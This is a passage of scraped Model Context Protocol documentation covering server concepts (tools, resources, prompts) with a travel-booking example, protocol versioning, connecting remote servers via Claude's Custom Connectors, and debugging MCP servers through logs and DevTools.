Draft an email | User | We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together. ### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#tools) Tools Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context. #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#how-tools-work) How Tools Work Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model. **Protocol operations:** | Method | Purpose | Returns | | --- | --- | --- | | `tools/list` | Discover available tools | Array of tool definitions with schemas | | `tools/call` | Execute a specific tool | Tool execution result | **Example tool definition:** { name: "searchFlights", description: "Search for available flights", inputSchema: { type: "object", properties: { origin: { type: "string", description: "Departure city" }, destination: { type: "string", description: "Arrival city" }, date: { type: "string", format: "date", description: "Travel date" } }, required: ["origin", "destination", "date"] } } #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#example-travel-booking) Example: Travel Booking Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation: **Flight Search** searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15") Queries multiple airlines and returns structured flight options. **Calendar Blocking** createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22") Marks the travel dates in the user’s calendar. **Email notification** sendEmail(to: "team@work.com", subject: "Out of Office", body: "...") Sends an automated out-of-office message to colleagues. #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#user-interaction-model) User Interaction Model Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms. For trust and safety, applications can implement user control through various mechanisms, such as: * Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions * Approval dialogs for individual tool executions * Permission settings for pre-approving certain safe operations * Activity logs that show all tool executions with their results ### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#resources) Resources Resources provide structured access to information that the AI application can retrieve and provide to models as context. #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#how-resources-work) How Resources Work Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that’s selecting relevant portions, searching with embeddings, or passing it all to the model. Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling. Resources support two discovery patterns: * **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024 * **Resource Templates** - dynamic URIs with parameters for flexible queries. Example: * `travel://activities/{city}/{category}` - returns activities by city and category * `travel://activities/barcelona/museums` - returns all museums in Barcelona Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting. **Protocol operations:** | Method | Purpose | Returns | | --- | --- | --- | | `resources/list` | List available direct resources | Array of resource descriptors | | `resources/templates/list` | Discover resource templates | Array of resource template definitions | | `resources/read` | Retrieve resource contents | Resource data with metadata | | `resources/subscribe` | Monitor resource changes | Subscription confirmation | #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#example-getting-travel-planning-context) Example: Getting Travel Planning Context Continuing with the travel planning example, resources provide the AI application with access to relevant information: * **Calendar data** (`calendar://events/2024`) - Checks user availability * **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents * **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model. In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences. **Resource Template Examples:** { "uriTemplate": "weather://forecast/{city}/{date}", "name": "weather-forecast", "title": "Weather Forecast", "description": "Get weather forecast for any city and date", "mimeType": "application/json" } { "uriTemplate": "travel://flights/{origin}/{destination}", "name": "flight-search", "title": "Flight Search", "description": "Search available flights between cities", "mimeType": "application/json" } These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input “NYC” as the `origin` airport and begins to input “Bar” as the `destination` airport, the system can suggest “Barcelona (BCN)” or “Barbados (BGI)”. #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#parameter-completion) Parameter Completion Dynamic resources support parameter completion. For example: * Typing “Par” as input for `weather://forecast/{city}` might suggest “Paris” or “Park City” * Typing “JFK” for `flights://search/{airport}` might suggest “JFK - John F. Kennedy International” The system helps discover valid values without requiring exact format knowledge. #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#user-interaction-model-2) User Interaction Model Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include: * Tree or list views for browsing resources in familiar folder-like structures * Search and filter interfaces for finding specific resources * Automatic context inclusion or smart suggestions based on heuristics or AI selection * Manual or bulk selection interfaces for including single or multiple resources Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn’t mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers. ### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#prompts) Prompts Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server. #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#how-prompts-work) How Prompts Work Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values. **Protocol operations:** | Method | Purpose | Returns | | --- | --- | --- | | `prompts/list` | Discover available prompts | Array of prompt descriptors | | `prompts/get` | Retrieve prompt details | Full prompt definition with arguments | #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#example-streamlined-workflows) Example: Streamlined Workflows Prompts provide structured templates for common tasks. In the travel planning context: **“Plan a vacation” prompt:** { "name": "plan-vacation", "title": "Plan a vacation", "description": "Guide through vacation planning process", "arguments": [\ { "name": "destination", "type": "string", "required": true },\ { "name": "duration", "type": "number", "description": "days" },\ { "name": "budget", "type": "number", "required": false },\ { "name": "interests", "type": "array", "items": { "type": "string" } }\ ] } Rather than unstructured natural language input, the prompt system enables: 1. Selection of the “Plan a vacation” template 2. Structured input: Barcelona, 7 days, $3000, \[“beaches”, “architecture”, “food”\] 3. Consistent workflow execution based on the template #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#user-interaction-model-3) User Interaction Model Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include: * Easy discovery of available prompts * Clear descriptions of what each prompt does * Natural argument input with validation * Transparent display of the prompt’s underlying template Applications typically expose prompts through various UI patterns such as: * Slash commands (typing ”/” to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons for frequently used prompts * Context menus that suggest relevant prompts [​](https://modelcontextprotocol.io/docs/learn/server-concepts#bringing-servers-together) Bringing Servers Together ---------------------------------------------------------------------------------------------------------------------- The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface. ### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#example-multi-server-travel-planning) Example: Multi-Server Travel Planning Consider a personalized AI travel planner application, with three connected servers: * **Travel Server** - Handles flights, hotels, and itineraries * **Weather Server** - Provides climate data and forecasts * **Calendar/Email Server** - Manages schedules and communications #### [​](https://modelcontextprotocol.io/docs/learn/server-concepts#the-complete-flow) The Complete Flow 1. **User invokes a prompt with parameters:** { "prompt": "plan-vacation", "arguments": { "destination": "Barcelona", "departure_date": "2024-06-15", "return_date": "2024-06-22", "budget": 3000, "travelers": 2 } } 2. **User selects resources to include:** * `calendar://my-calendar/June-2024` (from Calendar Server) * `travel://preferences/europe` (from Travel Server) * `travel://past-trips/Spain-2023` (from Travel Server) 3. **AI processes the request using tools:** The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips. Using this context, the AI then executes a series of Tools: * `searchFlights()` - Queries airlines for NYC to Barcelona flights * `checkWeather()` - Retrieves climate forecasts for travel dates The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary: * `bookHotel()` - Finds hotels within the specified budget * `createCalendarEvent()` - Adds the trip to the user’s calendar * `sendEmail()` - Sends confirmation with trip details **The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The “Plan a Vacation” prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP. Was this page helpful? YesNo [Architecture](https://modelcontextprotocol.io/docs/learn/architecture) [Clients](https://modelcontextprotocol.io/docs/learn/client-concepts) ⌘I --- # Versioning - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/learn/versioning#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... Ctrl K Search... Navigation About MCP Versioning [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Revisions](https://modelcontextprotocol.io/docs/learn/versioning#revisions) * [Negotiation](https://modelcontextprotocol.io/docs/learn/versioning#negotiation) The Model Context Protocol uses string-based version identifiers following the format `YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made. The protocol version will _not_ be incremented when the protocol is updated, as long as the changes maintain backwards compatibility. This allows for incremental improvements while preserving interoperability. [​](https://modelcontextprotocol.io/docs/learn/versioning#revisions) Revisions --------------------------------------------------------------------------------- Revisions may be marked as: * **Draft**: in-progress specifications, not yet ready for consumption. * **Current**: the current protocol version, which is ready for use and may continue to receive backwards compatible changes. * **Final**: past, complete specifications that will not be changed. The **current** protocol version is [**2025-11-25**](https://modelcontextprotocol.io/specification/2025-11-25) . [​](https://modelcontextprotocol.io/docs/learn/versioning#negotiation) Negotiation ------------------------------------------------------------------------------------- Version negotiation happens during [initialization](https://modelcontextprotocol.io/specification/latest/basic/lifecycle#initialization) . Clients and servers **MAY** support multiple protocol versions simultaneously, but they **MUST** agree on a single version to use for the session. The protocol provides appropriate error handling if version negotiation fails, allowing clients to gracefully terminate connections when they cannot find a version compatible with the server. Was this page helpful? YesNo [Clients](https://modelcontextprotocol.io/docs/learn/client-concepts) [Connect to local MCP servers](https://modelcontextprotocol.io/docs/develop/connect-local-servers) Ctrl+I --- # Connect to remote MCP Servers - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Develop with MCP Connect to remote MCP Servers [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Understanding Remote MCP Servers](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#understanding-remote-mcp-servers) * [What are Custom Connectors?](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#what-are-custom-connectors) * [Connecting to a Remote MCP Server](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#connecting-to-a-remote-mcp-server) * [Best Practices for Using Remote MCP Servers](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#best-practices-for-using-remote-mcp-servers) * [Next Steps](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#next-steps) Remote MCP servers extend AI applications’ capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources. Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the [many clients that support MCP](https://modelcontextprotocol.io/clients) . While we focus on Claude’s implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients. [​](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#understanding-remote-mcp-servers) Understanding Remote MCP Servers --------------------------------------------------------------------------------------------------------------------------------------------- Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service. The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication. [​](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#what-are-custom-connectors) What are Custom Connectors? ---------------------------------------------------------------------------------------------------------------------------------- Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools. With Custom Connectors, you can: * [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers * [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers) [​](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#connecting-to-a-remote-mcp-server) Connecting to a Remote MCP Server ----------------------------------------------------------------------------------------------------------------------------------------------- The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/) . This establishes a secure connection between Claude and your chosen remote server. 1 [](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#) Navigate to Connector Settings Open Claude in your browser and navigate to the settings page. You can access this by clicking on your profile icon and selecting “Settings” from the dropdown menu. Once in settings, locate and click on the “Connectors” section in the sidebar.This will display your currently configured connectors and provide options to add new ones. 2 [](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#) Add a Custom Connector In the Connectors section, scroll to the bottom where you’ll find the “Add custom connector” button. Click this button to begin the connection process. ![Add custom connector button in Claude settings](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-remote/1-add-connector.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=9d83f4f2db7441a39ff8733d97243ab9) A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https://) and any necessary path components. ![Dialog for entering remote MCP server URL](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-remote/2-connect.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=c024f625ec6ee3f7959513ba15adf524) After entering the URL, click “Add” to proceed with the connection. 3 [](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#) Complete Authentication Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations. ![Authentication screen for remote MCP server](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-remote/3-auth.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=47ec70901a76a3209267b2078f9f8011) Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server. 4 [](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#) Access Resources and Prompts After successful connection, the remote server’s resources and prompts become available in your Claude conversations. You can access these by clicking the paperclip icon in the message input area, which opens the attachment menu. ![Attachment menu showing available resources](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-remote/4-select-resources-menu.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=07178c22a89472b962639854dc029953) The menu displays all available resources and prompts from your connected servers. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools. ![Selecting specific resources and prompts from the menu](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-remote/5-select-prompts-resources.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=a875a3599b478977e1322c07b82a5879) 5 [](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#) Configure Tool Permissions Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you’ve explicitly authorized. ![Tool permission configuration interface](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/quickstart-remote/6-configure-tools.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=f953404ab1cb149e160eaa139c53d701) Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs. [​](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#best-practices-for-using-remote-mcp-servers) Best Practices for Using Remote MCP Servers ------------------------------------------------------------------------------------------------------------------------------------------------------------------- When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience: **Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems. **Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure. [​](https://modelcontextprotocol.io/docs/develop/connect-remote-servers#next-steps) Next Steps ------------------------------------------------------------------------------------------------- Now that you’ve connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows. Build your own remote server ---------------------------- Create custom remote MCP servers to integrate with proprietary tools and services Explore available servers ------------------------- Browse our collection of official and community-created MCP servers Connect local servers --------------------- Learn how to connect Claude Desktop to local MCP servers for direct system access Understand the architecture --------------------------- Dive deeper into how MCP works and its architecture Remote MCP servers unlock powerful possibilities for extending Claude’s capabilities. As you become familiar with these integrations, you’ll discover new ways to streamline your workflows and accomplish complex tasks more efficiently. Was this page helpful? YesNo [Connect to local MCP servers](https://modelcontextprotocol.io/docs/develop/connect-local-servers) [Build with Agent Skills](https://modelcontextprotocol.io/docs/develop/build-with-agent-skills) ⌘I --- # Debugging - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/tools/debugging#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Developer tools Debugging [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Debugging tools overview](https://modelcontextprotocol.io/docs/tools/debugging#debugging-tools-overview) * [Implementing logging](https://modelcontextprotocol.io/docs/tools/debugging#implementing-logging) * [Server-side logging](https://modelcontextprotocol.io/docs/tools/debugging#server-side-logging) * [Common issues](https://modelcontextprotocol.io/docs/tools/debugging#common-issues) * [Working directory](https://modelcontextprotocol.io/docs/tools/debugging#working-directory) * [Environment variables](https://modelcontextprotocol.io/docs/tools/debugging#environment-variables) * [Server initialization](https://modelcontextprotocol.io/docs/tools/debugging#server-initialization) * [Connection problems](https://modelcontextprotocol.io/docs/tools/debugging#connection-problems) * [Debugging in Claude Desktop](https://modelcontextprotocol.io/docs/tools/debugging#debugging-in-claude-desktop) * [Checking server status](https://modelcontextprotocol.io/docs/tools/debugging#checking-server-status) * [Viewing logs](https://modelcontextprotocol.io/docs/tools/debugging#viewing-logs) * [Using Chrome DevTools](https://modelcontextprotocol.io/docs/tools/debugging#using-chrome-devtools) * [Debugging workflow](https://modelcontextprotocol.io/docs/tools/debugging#debugging-workflow) * [Development cycle](https://modelcontextprotocol.io/docs/tools/debugging#development-cycle) * [Testing changes](https://modelcontextprotocol.io/docs/tools/debugging#testing-changes) * [Best practices](https://modelcontextprotocol.io/docs/tools/debugging#best-practices) * [Logging strategy](https://modelcontextprotocol.io/docs/tools/debugging#logging-strategy) * [Security considerations](https://modelcontextprotocol.io/docs/tools/debugging#security-considerations) * [Getting help](https://modelcontextprotocol.io/docs/tools/debugging#getting-help) * [Next steps](https://modelcontextprotocol.io/docs/tools/debugging#next-steps) Effective debugging is essential when developing MCP servers or integrating them with applications. This guide covers the debugging tools and approaches available in the MCP ecosystem. [​](https://modelcontextprotocol.io/docs/tools/debugging#debugging-tools-overview) Debugging tools overview -------------------------------------------------------------------------------------------------------------- MCP provides several tools for debugging at different levels: 1. **[MCP Inspector](https://modelcontextprotocol.io/docs/tools/inspector) **: interactive, transport-agnostic testing UI. Connect to stdio or Streamable HTTP servers, invoke [tools](https://modelcontextprotocol.io/specification/latest/server/tools) , [prompts](https://modelcontextprotocol.io/specification/latest/server/prompts) , and [resources](https://modelcontextprotocol.io/specification/latest/server/resources) , and watch the notification stream. This should be your first stop. 2. **Server logging**: structured logs to stderr (stdio transport) or via [`notifications/message`](https://modelcontextprotocol.io/specification/latest/server/utilities/logging#log-message-notifications) (all transports). 3. **Client developer tools**: most MCP clients expose logs and connection state. See [Debugging in Claude Desktop](https://modelcontextprotocol.io/docs/tools/debugging#debugging-in-claude-desktop) below for one example, or consult your client’s documentation. [​](https://modelcontextprotocol.io/docs/tools/debugging#implementing-logging) Implementing logging ------------------------------------------------------------------------------------------------------ ### [​](https://modelcontextprotocol.io/docs/tools/debugging#server-side-logging) Server-side logging When building a server that uses the local [stdio transport](https://modelcontextprotocol.io/specification/latest/basic/transports#stdio) , all messages logged to stderr (standard error) will be captured by the host application automatically. Local MCP servers should not log messages to stdout (standard out), as this will interfere with protocol operation. For servers using the [Streamable HTTP transport](https://modelcontextprotocol.io/specification/latest/basic/transports#streamable-http) , stderr is not captured by the client. Use the log message notifications below, your own server-side log aggregation, or standard HTTP tooling (curl, browser DevTools Network panel) to inspect requests, [`Mcp-Session-Id` headers](https://modelcontextprotocol.io/specification/latest/basic/transports#session-management) , and SSE streams. For all [transports](https://modelcontextprotocol.io/specification/latest/basic/transports) , you can also provide logging to the client by sending a log message notification: Python TypeScript @server.tool() async def my_tool(ctx: Context) -> str: await ctx.session.send_log_message( level="info", data="Server started successfully", ) return "done" MCP defines eight [RFC 5424 severity levels](https://modelcontextprotocol.io/specification/latest/server/utilities/logging#log-levels) (`debug` through `emergency`). Clients can adjust the minimum level at runtime via the [`logging/setLevel`](https://modelcontextprotocol.io/specification/latest/server/utilities/logging#setting-log-level) request. Important events to log: * Initialization steps * Resource access * Tool execution * Error conditions * Performance metrics [​](https://modelcontextprotocol.io/docs/tools/debugging#common-issues) Common issues ---------------------------------------------------------------------------------------- The examples below use Claude Desktop’s [`claude_desktop_config.json`](https://modelcontextprotocol.io/docs/develop/connect-local-servers) ; the same principles apply to any stdio-based MCP client. ### [​](https://modelcontextprotocol.io/docs/tools/debugging#working-directory) Working directory When an MCP client launches a stdio server: * The working directory for servers launched via the client’s config may be undefined (like `/` on macOS) since the client could be started from anywhere * Always use absolute paths in your configuration and `.env` files to ensure reliable operation * For testing servers directly via command line, the working directory will be where you run the command For example in `claude_desktop_config.json`, use: { "mcpServers": { "filesystem": { "command": "npx", "args": [\ "-y",\ "@modelcontextprotocol/server-filesystem",\ "/Users/username/data"\ ] } } } Instead of relative paths like `./data` ### [​](https://modelcontextprotocol.io/docs/tools/debugging#environment-variables) Environment variables MCP servers launched over stdio inherit only a limited subset of environment variables automatically (the exact set is platform-dependent). To override the default variables or provide your own, you can specify an `env` key in `claude_desktop_config.json`: { "mcpServers": { "myserver": { "command": "mcp-server-myapp", "env": { "MYAPP_API_KEY": "some_key" } } } } ### [​](https://modelcontextprotocol.io/docs/tools/debugging#server-initialization) Server initialization Common initialization problems: 1. **Path Issues** * Incorrect server executable path * Missing required files * Permission problems * Try using an absolute path for `command` 2. **Configuration Errors** * Invalid JSON syntax * Missing required fields * Type mismatches 3. **Environment Problems** * Missing environment variables * Incorrect variable values * Permission restrictions ### [​](https://modelcontextprotocol.io/docs/tools/debugging#connection-problems) Connection problems When servers fail to connect: 1. Check client logs 2. Verify server process is running 3. Test standalone with [Inspector](https://modelcontextprotocol.io/docs/tools/inspector) 4. Verify [protocol compatibility](https://modelcontextprotocol.io/specification/latest/basic/lifecycle#version-negotiation) 5. Check [capability negotiation](https://modelcontextprotocol.io/specification/latest/basic/lifecycle#capability-negotiation) : error [`-32602`](https://modelcontextprotocol.io/specification/latest/basic/lifecycle#error-handling) is the standard JSON-RPC “Invalid params” code and is returned in many contexts. One common cause is a server sending [sampling](https://modelcontextprotocol.io/specification/latest/client/sampling) or [elicitation](https://modelcontextprotocol.io/specification/latest/client/elicitation) requests to a client that hasn’t declared that capability. Inspect the [`initialize` exchange](https://modelcontextprotocol.io/specification/latest/basic/lifecycle#initialization) to verify both sides declared what you expect [​](https://modelcontextprotocol.io/docs/tools/debugging#debugging-in-claude-desktop) Debugging in Claude Desktop -------------------------------------------------------------------------------------------------------------------- Claude Desktop is [one of many MCP clients](https://modelcontextprotocol.io/clients) . It is available on macOS and Windows. ### [​](https://modelcontextprotocol.io/docs/tools/debugging#checking-server-status) Checking server status Click the “Add files, connectors, and more” plus icon in the chat input, then hover over the **Connectors** menu to see connected servers and available tools. ![Available MCP tools](https://mintcdn.com/mcp/zNouQwo2h8cbxlDS/images/available-mcp-tools.png?w=2500&fit=max&auto=format&n=zNouQwo2h8cbxlDS&q=85&s=8298981f84cb55c6e477006cb8bf873b) ### [​](https://modelcontextprotocol.io/docs/tools/debugging#viewing-logs) Viewing logs Log files are written to: * macOS: `~/Library/Logs/Claude` * Windows: `%APPDATA%\Claude\logs` macOS Windows tail -n 20 -F ~/Library/Logs/Claude/mcp*.log The logs capture: * Server connection events * Configuration issues * Runtime errors * Message exchanges ### [​](https://modelcontextprotocol.io/docs/tools/debugging#using-chrome-devtools) Using Chrome DevTools Access Chrome’s developer tools inside Claude Desktop to investigate client-side errors: 1. Create a `developer_settings.json` file with `allowDevTools` set to true: macOS Windows echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json 2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows) Note: You’ll see two DevTools windows: * Main content window * App title bar window Use the Console panel to inspect client-side errors. Use the Network panel to inspect: * Message payloads * Connection timing [​](https://modelcontextprotocol.io/docs/tools/debugging#debugging-workflow) Debugging workflow -------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/tools/debugging#development-cycle) Development cycle 1. Initial Development * Use [Inspector](https://modelcontextprotocol.io/docs/tools/inspector) for basic testing * Implement core functionality * Add logging points 2. Integration Testing * Test in your target MCP client * Monitor logs * Check error handling ### [​](https://modelcontextprotocol.io/docs/tools/debugging#testing-changes) Testing changes To test changes efficiently: * **Configuration changes**: Restart the MCP client * **Server code changes**: Restart the client (for Claude Desktop, fully quit and reopen; closing the window is not enough) * **Quick iteration**: Use [Inspector](https://modelcontextprotocol.io/docs/tools/inspector) during development [​](https://modelcontextprotocol.io/docs/tools/debugging#best-practices) Best practices ------------------------------------------------------------------------------------------ ### [​](https://modelcontextprotocol.io/docs/tools/debugging#logging-strategy) Logging strategy 1. **Structured Logging** * Use consistent formats * Include context * Add timestamps * Track request IDs 2. **Error Handling** * Log stack traces * Include error context * Track error patterns * Monitor recovery 3. **Performance Tracking** * Log operation timing * Monitor resource usage * Track message sizes * Measure latency ### [​](https://modelcontextprotocol.io/docs/tools/debugging#security-considerations) Security considerations When debugging: 1. **Sensitive Data** * Sanitize logs * Protect credentials * Mask personal information 2. **Access Control** * Verify permissions * Check authentication * Monitor access patterns For a full treatment of MCP attack vectors and mitigations, see [Security Best Practices](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices) . [​](https://modelcontextprotocol.io/docs/tools/debugging#getting-help) Getting help -------------------------------------------------------------------------------------- When encountering issues: 1. **First Steps** * Check server logs * Test with [Inspector](https://modelcontextprotocol.io/docs/tools/inspector) * Review configuration * Verify environment 2. **Support Channels** * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions) 3. **Providing Information** * Log excerpts * Configuration files * Steps to reproduce * Environment details [​](https://modelcontextprotocol.io/docs/tools/debugging#next-steps) Next steps ---------------------------------------------------------------------------------- MCP Inspector ------------- Learn to use the MCP Inspector Build an MCP server 